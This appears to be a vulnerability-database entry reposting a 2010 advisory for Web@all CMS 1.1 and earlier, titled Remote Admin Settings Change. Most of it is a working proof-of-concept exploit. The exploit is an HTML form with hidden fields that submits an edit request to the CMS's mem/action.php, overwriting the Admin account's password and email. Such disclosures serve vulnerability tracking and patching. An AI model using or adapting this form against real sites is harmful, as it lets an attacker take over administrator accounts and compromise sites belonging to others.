Web@all <= 1.1 - Remote Admin Settings Change

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Web@all <= 1.1 Remote Admin Settings Change - CMS Vulnerabilit

                                                ===========================================
Web@all &#60;= 1.1 Remote Admin Settings Change
===========================================

Author___: giudinvx
Email____: &#60;giudinvx[at]gmail[dot]com&#62;
Date_____: 27/12/2010
Site_____: http://www.giudinvx.altervista.org/
--------------------------------------------------------
Application Info:
web@all 1.1
web@all is a CMS which is not similar to general CMS,
you can build it easyly by yourself.
www.webatall.com
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

&#60;html&#62;
&#60;form method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;
action=&#34;[localhost]mem/action.php&#34; name=&#34;f1&#34;&#62;
Change Admin user, password and email.&#60;br/&#62;
Password&#60;input type=&#34;text&#34; value=&#34;&#34; name=&#34;password&#34;&#62;&#60;br/&#62;
Password&#60;input type=&#34;text&#34; value=&#34;&#34; name=&#34;answer&#34;&#62;&#60;br/&#62;
Email&#60;input type=&#34;text&#34; value=&#34;&#34; name=&#34;email&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;Admin&#34; name=&#34;nickname&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;question&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;sign&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[firstname]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[lastname]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[country]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[province]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[city]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[address]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[zip]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[mobile]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[phone]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;&#34; name=&#34;person[other]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;member&#34; name=&#34;_lib&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;member&#34; name=&#34;_file&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;person&#34; name=&#34;memtype&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;do_edit&#34; name=&#34;_act&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Submit&#34;&#62;
&#60;/form&#62;
&#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1